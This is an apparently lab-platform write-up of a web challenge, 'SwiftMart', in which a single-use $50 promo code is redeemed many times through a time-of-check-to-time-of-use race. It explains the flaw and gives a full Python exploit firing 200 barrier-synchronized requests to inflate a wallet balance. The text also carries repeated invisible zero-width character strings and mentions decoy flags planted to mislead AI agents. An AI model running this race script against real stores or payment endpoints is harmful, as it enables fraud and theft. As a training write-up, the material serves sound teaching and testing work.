← Back to Writeups
CUSTOMMediumWeb

Lab 272 — SwiftMart — Race Condition in Promo Code Redemption

XESXOR9/2/20266 min read
#web#custom#medium#concurrent_http_flooding#race_condition_exploitation#session_cookie_sharing#thread_barrier_synchronization#toctou_promo_bypass

Lab 272 — SwiftMart — Race Condition in Promo Code Redemption

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: concurrent_http_flooding, race_condition_exploitation, session_cookie_sharing, thread_barrier_synchronization, toctou_promo_bypass

Summary

Walkthrough of the CUSTOM Web Lab 272 — SwiftMart — Race Condition in Promo Code Redemption. Task: Digital marketplace with wallet system where each user gets a single-use $50 promo code, but premium vault items cost $500+. Solution: TOCTOU race condition on promo code redemption endpoint — f

Description

SwiftMart is a digital marketplace where users can buy and sell digital goods. Each new user receives a $50 welcome promo code to get started. The platform has a wallet system for managing funds, a catalog of digital products, and a premium vault with exclusive high-value items. Your goal is to obtain the flag hidden in one of the premium vault items. You start with limited funds — find a way to get more.

Credentials: user@test.com / password123 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A Flask-based digital marketplace with a wallet system. Each new user gets a unique single-use $50 promo code (WELCOME-XXXXXXXX), but the flag is locked behind a premium vault item costing $500. The promo code redemption endpoint has a TOCTOU race condition that allows redeeming the same code multiple times concurrently.

Analysis

Reconnaissance

After logging in with the provided credentials, the application reveals a Flask-based marketplace with the following structure:

  • /marketplace — product catalog
  • /wallet — wallet with balance display and promo code redemption form
  • /promotions — shows user's assigned promo code and usage info ("Each code can be used only once — single-use only")
  • /vault — Premium Vault with 3 expensive items
  • /orders — purchase history
  • /api/wallet/redeem — POST endpoint for redeeming promo codes (accepts code as form data, returns JSON)
  • /api/vault/purchase — POST endpoint for buying vault items (accepts product_id as form data) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Session management uses Flask signed cookies (eyJ1c2VyX2lkIjoiLi4uIn0... format).

Premium Vault Items

Product IDNamePrice
vault03AI Training Dataset Bundle$750
vault02Exclusive Data Package$500
vault01Enterprise SaaS Starter$250

The flag is in vault02 (Exclusive Data Package, $500). The vault01 item ($250) is a decoy — it returns fake content about a GitHub repo.

Decoy Flags

Every page contains FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} embedded in HTML comments and hidden divs, designed to trick AI agents and automated scanners. These are fake. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability: TOCTOU Race Condition

The POST /api/wallet/redeem endpoint has a classic Time-of-Check to Time-of-Use (TOCTOU) race condition in its promo code redemption logic:

  1. Check: Server queries the database to verify if the promo code has already been redeemed
  2. Apply: $50 credit is added to the user's wallet balance
  3. Update: The promo code is marked as redeemed in the database

Between steps 1 and 3, there is a window where multiple concurrent requests can all pass the "already redeemed" check before any of them marks the code as used. This is a non-atomic check-then-update pattern — the check and the state mutation are not wrapped in a single database transaction with proper locking. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Register a Fresh Account

Register a new user to get a fresh, unused promo code:

python
session = requests.Session()
session.verify = False

username = f"race_{random_string()}"
email = f"{username}@test.com"

resp = session.post(f"{BASE_URL}/register", data={
    "username": username,
    "email": email,
    "password": "password123",
    "confirm_password": "password123"
}, allow_redirects=False)

session.get(f"{BASE_URL}/")

# Extract promo code from /promotions page
promo_resp = session.get(f"{BASE_URL}/promotions")
match = re.search(r'WELCOME-[A-F0-9]+', promo_resp.text)
promo_code = match.group(0)  # e.g. WELCOME-2CA339EC

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2: Race Condition Attack

Fire 200 concurrent requests using threading.Barrier to synchronize all threads to release at the exact same instant, maximizing the TOCTOU window:

python
NUM_THREADS = 200
cookies = dict(session.cookies)
barrier = threading.Barrier(NUM_THREADS, timeout=30)
results = []
lock = threading.Lock()

def attack_thread(idx):
    s = requests.Session()
    s.verify = False
    s.cookies.update(cookies)
    try:
        barrier.wait()  # All threads release simultaneously
        resp = s.post(
            f"{BASE_URL}/api/wallet/redeem",
            data={"code": promo_code},
            timeout=30
        )
        data = resp.json()
        with lock:
            results.append(data)
            if data.get("success"):
                print(f"  [+] Thread {idx}: Balance ${data.get('new_balance', 0):.2f}")
    except:
        pass
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

threads = [threading.Thread(target=attack_thread, args=(i,)) for i in range(NUM_THREADS)]
for t in threads:
    t.start()
for t in threads:
    t.join(timeout=45)

Result: 12 out of 200 threads passed the usage check and successfully redeemed the code, resulting in a balance of $600 (12 × $50) instead of the intended $50.

The race condition is probabilistic — sometimes only 6-8 threads succeed ($300-$400), sometimes 10-12 ($500-$600). Multiple attempts with fresh accounts may be needed to reach the $500 threshold. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: Purchase the Flag

With $600 in the wallet, purchase the "Exclusive Data Package" (vault02, $500):

python
resp = session.post(f"{BASE_URL}/api/vault/purchase", data={"product_id": "vault02"})
data = resp.json()
# Response:
# {
#   "content": "FLAG{REDACTED}",
#   "message": "Purchase successful!...",
#   "order_id": "d56dcd55",
#   "success": true
# }

Full Exploit Script

python
#!/usr/bin/env python3
"""SwiftMart Race Condition Exploit — TOCTOU promo code redemption"""

import requests
import threading
import re
import random
import string
import urllib3
import time
urllib3.disable_warnings()
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

BASE_URL = "https://198f4e15-9468-4539-8449-d1e5f152ff1e.labs.hackadvisor.io"

def random_string(length=8):
    return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))

def register_and_get_promo():
    session = requests.Session()
    session.verify = False
    username = f"race_{random_string()}"
    email = f"{username}@test.com"
    resp = session.post(f"{BASE_URL}/register", data={
        "username": username, "email": email,
        "password": "password123", "confirm_password": "password123"
    }, allow_redirects=False)
    session.get(f"{BASE_URL}/")
    promo_resp = session.get(f"{BASE_URL}/promotions")
    match = re.search(r'WELCOME-[A-F0-9]+', promo_resp.text)
    promo_code = match.group(0) if match else None
    print(f"[*] Registered: {username} | Promo: {promo_code}")
    return session, promo_code
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def race_attack(session, promo_code, num_threads=200):
    cookies = dict(session.cookies)
    barrier = threading.Barrier(num_threads, timeout=30)
    results = []
    lock = threading.Lock()

    def attack_thread(idx):
        s = requests.Session()
        s.verify = False
        s.cookies.update(cookies)
        try:
            barrier.wait()
            resp = s.post(f"{BASE_URL}/api/wallet/redeem",
                          data={"code": promo_code}, timeout=30)
            data = resp.json()
            with lock:
                results.append(data)
                if data.get("success"):
                    print(f"  [+] Thread {idx}: Balance ${data.get('new_balance', 0):.2f}")
        except:
            pass
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    threads = [threading.Thread(target=attack_thread, args=(i,))
               for i in range(num_threads)]
    for t in threads:
        t.start()
    for t in threads:
        t.join(timeout=45)

    successes = [r for r in results if r.get("success")]
    max_bal = max([r.get("new_balance", 0) for r in results if r.get("success")], default=0)
    print(f"[*] Result: {len(successes)} successful | Balance: ${max_bal:.2f}")
    return max_bal

def check_balance(session):
    resp = session.get(f"{BASE_URL}/wallet")
    match = re.search(r'balanceDisplay">\$([0-9.]+)', resp.text)
    return float(match.group(1)) if match else 0.0
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def buy_vault_item(session, product_id):
    resp = session.post(f"{BASE_URL}/api/vault/purchase",
                        data={"product_id": product_id})
    return resp.json()

def main():
    for attempt in range(5):
        print(f"\n--- Attempt {attempt + 1} ---")
        session, promo_code = register_and_get_promo()
        if not promo_code:
            continue
        race_attack(session, promo_code, 200)
        balance = check_balance(session)
        print(f"[*] Actual balance: ${balance:.2f}")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

        if balance >= 500:
            result = buy_vault_item(session, "vault02")
            if result.get("success"):
                print(f"\nFLAG: {result.get('content')}")
                return
        time.sleep(1)
    print("[-] Could not get enough balance in 5 attempts")

if __name__ == "__main__":
    main()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering concurrent_http_flooding, race_condition_exploitation, session_cookie_sharing, thread_barrier_synchronization, toctou_promo_bypass was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-06 • CUSTOM • Lab 272 — SwiftMart — Race Condition in Promo Code Redemption • Difficulty: Medium